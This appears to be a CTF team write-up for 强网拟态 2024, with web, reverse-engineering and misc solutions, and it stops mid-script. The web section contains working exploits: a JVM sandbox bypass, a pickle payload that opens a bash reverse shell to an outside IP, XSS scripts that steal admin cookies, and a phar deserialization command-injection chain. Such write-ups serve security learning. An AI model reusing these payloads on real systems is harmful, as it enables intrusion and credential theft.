强网拟态 2024 By W&M
WEB
OnlineRunner
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package ezSandbox.controller;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.StringWriter;
import java.net.URI;
import java.nio.charset.Charset;
import java.util.Collections;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import javax.tools.DiagnosticListener;
import javax.tools.FileObject;
import javax.tools.ForwardingJavaFileManager;
import javax.tools.JavaCompiler;
import javax.tools.JavaFileManager;
import javax.tools.JavaFileObject;
import javax.tools.SimpleJavaFileObject;
import javax.tools.ToolProvider;
import javax.tools.JavaFileObject.Kind;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class MainController {
public MainController() {
}
@GetMapping({"/"})
public String index() {
return "redirect:/index.html";
}
@PostMapping({"/execute"})
@ResponseBody
public String executeCode(@RequestBody String code) {
return this.runJavaCode(code);
}
private String runJavaCode(String code) {
String className = "Main";
String fullCode = "public class " + className + " { public static void main(String[] args) { " + code + " } }";
try {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
JavaFileObject file = new InMemoryJavaFileObject(className, fullCode);
Iterable<? extends JavaFileObject> compilationUnits = Collections.singletonList(file);
StringWriter output = new StringWriter();
InMemoryJavaFileManager fileManager = new InMemoryJavaFileManager(compiler.getStandardFileManager((DiagnosticListener)null, (Locale)null, (Charset)null));
boolean compiled = compiler.getTask(output, fileManager, (DiagnosticListener)null, (Iterable)null, (Iterable)null, compilationUnits).call();
if (!compiled) {
return "Compilation failed:\n" + output.toString();
} else {
InMemoryClassLoader classLoader = new InMemoryClassLoader(fileManager.getClassBytes());
Class<?> cls = classLoader.loadClass(className);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
PrintStream ps = new PrintStream(baos);
PrintStream old = System.out;
System.setOut(ps);
cls.getMethod("main", String[].class).invoke((Object)null, new String[0]);
System.out.flush();
System.setOut(old);
return baos.toString();
}
} catch (Exception var15) {
Exception e = var15;
return "Execution failed:\n" + e.getMessage();
}
}
static class InMemoryJavaFileObject extends SimpleJavaFileObject {
private final String code;
protected InMemoryJavaFileObject(String name, String code) {
super(URI.create("string:///" + name + Kind.SOURCE.extension), Kind.SOURCE);
this.code = code;
}
public CharSequence getCharContent(boolean ignoreEncodingErrors) {
return this.code;
}
}
static class InMemoryJavaFileManager extends ForwardingJavaFileManager<JavaFileManager> {
private final Map<String, ByteArrayOutputStream> classBytes = new HashMap();
protected InMemoryJavaFileManager(JavaFileManager fileManager) {
super(fileManager);
}
public JavaFileObject getJavaFileForOutput(JavaFileManager.Location location, String className, JavaFileObject.Kind kind, FileObject sibling) {
final ByteArrayOutputStream baos = new ByteArrayOutputStream();
this.classBytes.put(className, baos);
return new SimpleJavaFileObject(URI.create("string:///" + className + kind.extension), kind) {
public OutputStream openOutputStream() {
return baos;
}
};
}
public Map<String, byte[]> getClassBytes() {
Map<String, byte[]> result = new HashMap();
this.classBytes.forEach((name, baos) -> {
result.put(name, baos.toByteArray());
});
return result;
}
}
static class InMemoryClassLoader extends ClassLoader {
private final Map<String, byte[]> classBytes;
public InMemoryClassLoader(Map<String, byte[]> classBytes) {
this.classBytes = classBytes;
}
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] bytes = (byte[])this.classBytes.get(name);
if (bytes == null) {
throw new ClassNotFoundException(name);
} else {
return this.defineClass(name, bytes, 0, bytes.length);
}
}
}
}
暂时无法在飞书文档外展示此内容
相当于在内存中编译了一套java代码 JDK17的 绕原有防护RCE?
列目录
try {
java.net.URL url = new java.net.URL("file:///");
java.io.InputStream inputStream = url.openStream();
byte[] bytes = new byte[0];
bytes = new byte[inputStream.available()];
inputStream.read(bytes);
System.out.println(new String(bytes));
System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));
}catch (Exception e){
System.out.println("error");
}
自己装了个 沙盒
日志位置:/home/ctf/logs/sandbox/sandbox.log
应该是绕这个吧:/home/ctf/sandbox/sandbox-module/jvm-rasp.jar
暂时无法在飞书文档外展示此内容
单单看这个rasp感觉代码量不多呀。
一个可行的方案如下
之前其实看到过,但是没有复现,这个rasp都是仿照这篇文章作者写的,感觉还是可以看看。
写入文件没看见有限制,只Hook了Files的read方法,对我们写入不影响。并且Rasp没有Hook UnixSocket
因此仿照上述操作应该就可以出了。开个环境先。
http://web-5142b26554.challenge.xctf.org.cn/index.html
https://github.com/alibaba/jvm-sandbox/wiki/USER-INSTALL-and-CONFIG
加载rasp会有一个随机的端口作为client control的http
读logs拿到localhost:xxxx的端口
try {
java.net.URL url = new java.net.URL("file:///home/ctf/logs/sandbox/sandbox.log");
java.io.InputStream inputStream = url.openStream();
byte[] bytes = new byte[0];
bytes = new byte[inputStream.available()];
inputStream.read(bytes);
System.out.println(new String(bytes));
System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));
}catch (Exception e){
System.out.println("error");
}
卸载rce模块
java.net.URL url = null;
try {
url = new java.net.URL("http://127.0.0.1:44445/sandbox/default/module/http/sandbox-module-mgr/unload?1=1&action=unload&ids=rasp-rce-native-hook");
java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setUseCaches(false);
connection.setConnectTimeout(5000); // 5 seconds
int responseCode = connection.getResponseCode();
java.lang.System.out.println("Response Code : " + responseCode);
if (responseCode == java.net.HttpURLConnection.HTTP_OK) {
java.io.InputStream inputStream = connection.getInputStream();
java.io.InputStreamReader inputStreamReader = new java.io.InputStreamReader(inputStream);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(inputStreamReader);
java.lang.String output;
java.lang.StringBuffer response = new java.lang.StringBuffer();
while ((output = bufferedReader.readLine()) != null) {
response.append(output);
}
bufferedReader.close();
inputStreamReader.close();
inputStream.close();
connection.disconnect();
java.lang.System.out.println("Response Body: " + response.toString());
} else {
java.lang.System.out.println("Request failed!");
}
} catch (java.net.MalformedURLException e) {
e.printStackTrace();
} catch (java.io.IOException e) {
e.printStackTrace();
}
ez_pickle
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []
safe_modules = {
'math',
'datetime',
'json',
'collections',
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper
@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)
@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)
file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)
return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)
@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})
@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
原型链污染:
c.py
from builtins import eval
eval("""__import__("os").system("bash -c 'bash -i >& /dev/tcp/1.1.1.1/8888 0>&1'")""")
import time
from typing import Any
import jwt
import pickora.compiler
import httpx
compiler = pickora.compiler.Compiler()
with open("c.py", "r") as f:
code = compiler.compile(f.read(), "c.py")
n = {
"__init__": {
"__globals__": {
"secret_key": "123",
"safe_modules": ["builtins"],
"safe_names": ["getattr", "eval"],
}
}
}
c = httpx.Client(base_url="http://web-a3417eafa3.challenge.xctf.org.cn/")
r = c.post("/register", json=n)
data: dict[str, Any] = {"user": "admin", "role": "admin"}
data["exp"] = int(time.time()) + 60 * 5
token = jwt.encode(data, "123", algorithm="HS256")
print(token)
c.cookies.set("token", token)
res = c.post("/upload", files={
"file": ("exp.py", code)
})
print(res.text)
Spreader
下面XSS
<script>window['alert'](1)</script
>
用 privileged 的身份做代理交一遍,这样admin就能看到了,然后存/store
但是这样比较麻烦,他的cookie没有httponly,所以可以直接偷cookie:
from time import sleep
import requests
TARGET='http://web-9004390031.challenge.xctf.org.cn'
COOKIE=''
def register(username, password):
r= requests.post(TARGET+'/register',data={'username':username,'password':password,'role':'plain'},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
return r.text
def login(username, password):
r= requests.post(TARGET+'/login',data={'username':username,'password':password},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
cookie = r.headers['Set-Cookie']
return cookie.split(';')[0]
def post_data(data):
r= requests.post(TARGET+'/post',data={'content':data},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
return r.text
def post_store(s):
r= requests.post(TARGET+'/store',data={'content':s},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
return r.text
def get_store(key):
r= requests.get(TARGET+'/store',headers={'Cookie':COOKIE})
data = r.json()[::-1]
for d in data:
if key in d:
return d[key]
return None
def report_privileged():
r= requests.get(TARGET+'/report_privileged',headers={'Cookie':COOKIE})
return r.text
def report_admin():
r= requests.get(TARGET+'/report_admin',headers={'Cookie':COOKIE})
return r.text
def get_flag():
r= requests.get(TARGET+'/flag',headers={'Cookie':COOKIE})
return r.text
def post_leak_cookie(key):
post_data('''<script>fetch('/store',{body:"'''+key[:1]+'"+`'+key[1:]+'''=`+encodeURIComponent(document.cookie),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>''')
register('abc', '1')
COOKIE=login('abc', '1')
print('Plain Cookie:',COOKIE)
post_leak_cookie('privileged_cookie')
print(report_privileged())
sleep(1)
COOKIE=get_store('privileged_cookie')
print('Privileged Cookie:',COOKIE)
post_leak_cookie('admin_cookie')
print(report_admin())
sleep(1)
COOKIE=get_store('admin_cookie')
print('Admin Cookie:',COOKIE)
FLAG=get_flag()
print(FLAG)
附一个不泄露cookie直接泄露flag的打法,但是因为这题的bot打开页面之后立即关闭了,基本没时间去执行两次fetch(第一个fetch发出后页面就关闭了),多report几次admin就好了
from time import sleep
import requests
from urllib.parse import quote
from base64 import b64encode
TARGET='http://web-9004390031.challenge.xctf.org.cn'
COOKIE=''
def register(username, password):
r= requests.post(TARGET+'/register',data={'username':username,'password':password,'role':'plain'},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
return r.text
def login(username, password):
r= requests.post(TARGET+'/login',data={'username':username,'password':password},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
cookie = r.headers['Set-Cookie']
return cookie.split(';')[0]
def wrap_script(c):
return f'<script>{c}</script\n>'
def post_data(data):
r= requests.post(TARGET+'/post',data={'content':data},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
return r.text
def set_store(key, value):
r= requests.post(TARGET+'/store',data={key:value},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
return r.text
def get_store(key):
r= requests.get(TARGET+'/store',headers={'Cookie':COOKIE})
data = r.json()[::-1]
for d in data:
if key in d:
return d[key]
return None
def report_privileged():
r= requests.get(TARGET+'/report_privileged',headers={'Cookie':COOKIE})
return r.text
def report_admin():
r= requests.get(TARGET+'/report_admin',headers={'Cookie':COOKIE})
return r.text
ADMIN_PAYLOAD='''
fetch('/flag').then(x=>x.text()).then(m=>{fetch('/store',{body:'final_f'+'lag='+encodeURIComponent(m),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})})
'''.strip()
PRIVILEGE_PAYLOAD='''
fetch('/post',{body:'con'+`tent=`+atob(`'''+b64encode(quote(wrap_script(ADMIN_PAYLOAD)).encode()).decode()+'''`),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})
'''.strip()
register('abc', '1')
COOKIE=login('abc', '1')
print('Plain Cookie:',COOKIE)
post_data(wrap_script(PRIVILEGE_PAYLOAD))
print('Trigger privileged')
print(report_privileged())
sleep(1)
print('Trigger admin')
print(report_admin())
sleep(1)
FLAG=get_store('final_flag')
print(FLAG)
capoo
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];
if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>
打phar反序列化就行。
<?php
class CapooObj {
public function __construct($action){
$this->action=$action;
}
}
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>");
$phar->setMetadata(new CapooObj("ca\\t /fla\\g-33ac806f"));
$phar->stopBuffering();
echo bin2hex(file_get_contents(("test.phar")));
php 1.php ;gzip test.phar ;mv test.phar.gz capoo.gif
capoo=phar://capoo_img/capoo.gif
REVERSE
Serv1ce
安卓服务
主逻辑native层就一个函数生成密钥 就是异或
java层有个生成密钥的算法也很简单
爆破求解
import base64
from Crypto.Cipher import ARC4
def dec(s):
rc = base64.b64decode(s)
rc4 = ARC4.new(b'k3ykeyk3ykey')
rc1 = rc4.decrypt(rc)
print(rc1)
end = [0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB, 0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8,
0xDF, 0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B, 0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]
key = "1liIl11lIllIIl11llII"
keyarray = bytearray(64)
for i3 in range(64):
keyarray[i3] = ((ord(key[i3 % len(key)]) - ord('w')) ^ 23) & 255
f = b''
print(keyarray)
for no in range(len(end)):
for i in range(127):
if (11 * (i ^ keyarray[no])) & 0xff == end[no]:
print(chr(i), end='')
A_game
魔改小游戏
源码在这https://github.com/NJU-TJL/PacManX
对着源码发现程序退出的操作里多了一个函数sub_14001FA60
函数主要是从注册表里取值 表项调试都可以获得
在本机注册表加上对应的键值之后就能获得解密数据 是一个ps1脚本
ps1脚本混淆了 有一些字节替换的操作 一步一步输出出来就能获取解混淆的脚本
function enenenenene {
param(
$plaintextBytes,
$keyBytes
)
# Initialize S and KSA
$S = 0..255
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $S[$i] + $keyBytes[$i % $keyBytes.Length]) % 256
$temp = $S[$i]
$S[$i] = $S[$j]
$S[$j] = $temp
}
# PRGA and encryption
$i = 0
$j = 0
$ciphertextBytes = @()
for ($k = 0; $k -lt $plaintextBytes.Length; $k++) {
$i = ($i + 1) % 256
$j = ($j + $S[$i]) % 256
$temp = $S[$i]
$S[$i] = $S[$j]
$S[$j] = $temp
$t = ($S[$i] + $S[$j]) % 256
$ciphertextBytes += ($plaintextBytes[$k] -bxor $S[$t])
}
# Return ciphertext as a string
return $ciphertextBytes
}
function enenenenene1 {
param(
$inputbyte
)
$key = @(0x70, 0x6f, 0x77, 0x65, 0x72)
$encryptedText = @();
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
$key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
}
return $encryptedText + $key;
}
function enenenenene2 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x65, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] + $key[$k % $key.Length]
}
return $inputbyte;
}
function enenenenene3 {
param(
)
$key = @(0x70, 0x30, 0x77, 0x33, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] * $key[$k % $key.Length]
}
return $inputbyte;
}
$valueName = 'MYFLAG'
$value = Get-ItemPropertyValue $registryPath $valueName
$plaintext = @($value) | ForEach-Object {
$input = $_
$plaintext = @()
for ($i = 0; $i -lt $input.Length; $i++) {
$plaintext += [int][char]$input[$i]
}
$plaintext
}
if ($plaintext.Length -ne 36) {
Set-Content -Path "log.txt" -Value "ERROR"
exit
}
$encrypted1Text = enENenenene2 -inputbyte (enenenENene2 -inputbyte (enenenenene3 -inputbyte (Enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene1 -input $plaintext))))))
$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)
for ($k = 0; $k -lt $result.Length; $k++) {
if ($encrypted1Text[$k] -ne $result[$k]) {
Set-Content -Path "log.txt" -Value "ERROR"
exit
}
Set-Content -Path "log.txt" -Value "RIGHT"
就是简单的rc4和数值运算
from Crypto.Cipher import ARC4
def dec1(s):
enc = s[:-5]
key = s[-5:]
rc4 = ARC4.new(enc)
key = rc4.decrypt(key)
rc4 = ARC4.new(key)
enc = rc4.decrypt(enc)
return enc
def dec2(s):
key = [0x70, 0x30, 0x77, 0x65, 0x72]
for i in range(len(s)):
s[i] = s[i] - key[i % len(key)]
return s
def dec3(s):
key = [0x70, 0x30, 0x77, 0x33, 0x72]
for i in range(len(s)):
assert s[i] % key[i % len(key)] == 0
s[i] = s[i] // key[i % len(key)]
return s
end = [38304, 8928, 43673, 25957, 67260, 47152, 16656, 62832, 19480, 66690, 40432, 15072, 63427, 28558, 54606, 47712,
18240, 68187, 18256, 63954, 48384, 14784, 60690, 21724, 53238, 64176, 9888, 54859, 23050, 58368, 46032, 15648,
64260, 17899, 52782, 51968, 12336, 69377, 27844, 43206, 63616]
tmp = dec2(end)
tmp = dec2(tmp)
tmp = dec3(tmp)
tmp = dec2(tmp)
tmp = dec2(tmp)
tmp = dec2(tmp)
tmp = dec1(bytes(tmp))
print(tmp)
babyre
主要逻辑是一个AES-128 生成的16个字节变成二进制 然后追加index 一组就是16个字节
|八个字节内容|index|
比如第一个字节是0x1d 那么就是
0001 1101 0000
第二个字节是0x28 那么就是
0010 1000 0001
依次类推
对比函数是一个数学表达式 因为每一组只有八个字节变动 完全可以爆破
#include <iostream>
using namespace std;
int main()
{
int v1, v2, v3;
int v5[12], v6[12];
int no;
for (int k = 0; k < 16; k++)
{
no = k;
for (int j = 8; j < 12; j++)
{
v6[19 - j] = no & 1;
no >>= 1;
}
for (int i = 0; i <= 255; i++)
{
int tmp = i;
for (int j = 0; j < 8; j++)
{
v6[j] = tmp & 1;
tmp >>= 1;
}
for (int j = 0; j < 12; j++)
v5[j] = v6[11 - j];
v1 = v5[2] & v5[3] & v5[4] & (v5[6] == 0) & (v5[7] == 0) & v5[8] & ((v5[9] | v5[10] | v5[11]) == 0) & (v5[5] == 0) & (v5[1] == 0) | v5[2] & v5[4] & v5[6] & (v5[8] == 0) & (v5[9] == 0) & v5[11] & (v5[10] == 0) & (v5[7] == 0) & (v5[5] == 0) & (v5[3] == 0) & (v5[1] == 0) | v5[1] & (v5[3] == 0) & (v5[4] == 0) & (v5[5] == 0) & v5[6] & v5[7] & (unsigned __int8)(v5[9] & v5[10] & (v5[11])) & (v5[8] == 0) & (v5[2] == 0);
v2 = v5[0] & v5[1] & v5[3] & v5[4] & v5[5] & v5[6] & v5[7] & (v5[9] == 0) & (unsigned __int8)(v5[10] & (v5[11])) & (v5[8] == 0) & (v5[2] == 0) | (v5[1] == 0) & (v5[2] == 0) & v5[3] & v5[4] & v5[5] & v5[7] & v5[8] & v5[10] & (v5[11] == 0) & (v5[9] == 0) & (v5[6] == 0) & (v5[0] == 0) | v5[0] & (v5[2] == 0) & v5[3] & v5[5] & v5[7] & v5[8] & v5[9] & v5[11] & (v5[10] == 0) & (v5[6] == 0) & (v5[4] == 0) & (v5[1] == 0) | v5[0] & v5[2] & v5[3] & v5[5] & v5[6] & v5[8] & v5[9] & (v5[10] == 0i64) & (v5[7] == 0) & (v5[4] == 0) & (v5[1] == 0) | (v1 | v5[1] & v5[2] & (v5[4] == 0) & v5[5] & (v5[7] == 0) & v5[8] & v5[9] & v5[11] & (v5[10] == 0) & (v5[6] == 0) & (v5[3] == 0)) & (v5[0] == 0);
v3 = v5[0] & v5[1] & (v5[3] == 0) & (v5[4] == 0) & v5[5] & (v5[7] == 0) & (v5[8] == 0) & (v5[9] == 0) & (unsigned __int8)(v5[10] & (v5[11])) & (v5[6] == 0) & (v5[2] == 0) | (v5[1] == 0) & (v5[2] == 0) & (v5[3] == 0) & (v5[4] == 0) & v5[5] & (v5[7] == 0) & v5[8] & ((v5[9] | v5[10] | v5[11]) == 0) & (v5[6] == 0) & (v5[0] == 0) | v5[0] & v5[1] & v5[2] & (v5[4] == 0) & (v5[5] == 0) & v5[6] & v5[7] & (v5[9] == 0) & v5[10] & (v5[11] == 0) & (v5[8] == 0) & (v5[3] == 0) | v5[0] & v5[2] & (v5[4] == 0) & (v5[5] == 0) & v5[6] & ((v5[7] | v5[8] | v5[9] | v5[10] | v5[11]) == 0) & (v5[3] == 0) & (v5[1] == 0) | v5[0] & (v5[2] == 0) & (v5[3] == 0) & v5[4] & v5[5] & v5[6] & v5[7] & (v5[9] == 0) & v5[11] & (v5[10] == 0) & (v5[8] == 0) & (v5[1] == 0) | v2;
if (!(v5[1] & v5[3] & v5[5] & v5[7] & (v5[9] == 0) & v5[10] & (v5[11] == 0) & (v5[8] == 0) & (v5[6] == 0) & (v5[4] == 0) & (v5[2] == 0) & (v5[0] == 0) | v5[0] & v5[1] & v5[2] & v5[3] & (v5[5] == 0) & (v5[6] == 0) & v5[7] & (v5[9] == 0) & v5[10] & (v5[11] == 0) & (v5[8] == 0) & (v5[4] == 0) | v3 | v5[1] & v5[2] & v5[3] & v5[5] & v5[7] & ((v5[8] | v5[9] | v5[10] | v5[11]) == 0) & (v5[6] == 0) & (v5[4] == 0) & (v5[0] == 0)))
continue;
printf("%d:0b", k);
//printf("0b", k);
for (int j = 0; j < 8; j++)
printf("%d", v6[j]);
printf("\n");
}
}
return 0;
}
拿到求出的值再用aes解一下就是flag
from Crypto.Cipher import AES
def dec(enc):
key = bytes([0x35, 0x77, 0x40, 0x2E, 0xCC, 0xA4, 0x4A, 0x3F, 0x9A, 0xB7, 0x21, 0x82, 0xF9, 0xB0, 0x1F, 0x35])
aes = AES.new(key, mode=AES.MODE_ECB)
enc = aes.decrypt(bytes(enc))
return list(enc)
en3 = [0x12, 0x8f, 0xec, 0xc2, 0x85, 0x4, 0xb2, 0x4c, 0x5b, 0xba, 0x4a, 0xcf, 0x11, 0x36, 0xa, 0x48]
rc = dec(en3)
for i in rc:
print(hex(i), end=',')
# 4d87ef03-77bb-491a-80f5-4620245807c4
Misc
ezflag
签到,提出来解一下hex,然后binwalk,然后有个flag.zip,改成flag.png就行了
Find way to read video
marco1763 has put his email template on a public platform.
国产github搜到 https://gitcode.com/marco1763/email_template/overview
垃圾邮件隐写https://www.spammimic.com/
BV1P62EYHEZd eyJ2IjozLCJuIjoiZmw0ZyIsInMiOiIiLCJoIjoiZGExMTcyNSIsIm0iOjkwLCJrIjo4MSwibWciOjIwMCwia2ciOjEzMCwibCI6NDMsInNsIjoxLCJmaGwiOlsiMjUyZjEwYyIsImFjYWM4NmMiLCJjYTk3ODExIiwiY2QwYWE5OCIsIjAyMWZiNTkiLCIyYzYyNDIzIiwiY2E5NzgxMSIsIjRlMDc0MDgiLCJlN2Y2YzAxIiwiMmM2MjQyMyIsIjI1MmYxMGMiLCI1ZmVjZWI2IiwiZWYyZDEyNyIsIjM5NzNlMDIiLCJjYTk3ODExIiwiNGIyMjc3NyIsImU3ZjZjMDEiLCI3OTAyNjk5IiwiMzk3M2UwMiIsIjRiMjI3NzciLCI3OTAyNjk5IiwiZWYyZDEyNyIsIjI1MmYxMGMiLCIzOTczZTAyIiwiY2E5NzgxMSIsImVmMmQxMjciLCJkNDczNWUzIiwiMjUyZjEwYyIsIjM5NzNlMDIiLCI2Yjg2YjI3IiwiM2UyM2U4MSIsImQ0NzM1ZTMiLCJlN2Y2YzAxIiwiMmU3ZDJjMCIsIjJlN2QyYzAiLCI0YjIyNzc3IiwiNWZlY2ViNiIsIjI1MmYxMGMiLCIyZTdkMmMwIiwiNGIyMjc3NyIsIjNmNzliYjciLCJkMTBiMzZhIiwiMDFiYTQ3MSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiMDg0ZmVkMCIsIjE4ZjUzODQiLCIxODlmNDAwIiwiZWY2Y2JkMiIsIjI3OTUyMTciLCJhOTI1M2RjIiwiNGM5NDQ4NSIsIjI1MmYxMGMiLCI4NWY5N2UwIl19
暂时无法在飞书文档外展示此内容
解码每一帧上面的小白点就行,做了统计发现是第24-40像素,对于每帧两字节
import cv2
import numpy as np
import os
def decode_white(frame):
out = ""
for i in range(16):
if (frame[24+i][0] > 200):
out += '1'
else:
out += '0'
return out
def extract_pixels_from_video(video_path, output_dir):
# 确保输出目录存在
if not os.path.exists(output_dir):
os.makedirs(output_dir)
# 打开视频文件
cap = cv2.VideoCapture(video_path)
# 获取视频的帧宽度和高度
frame_width = int(cap.get(3))
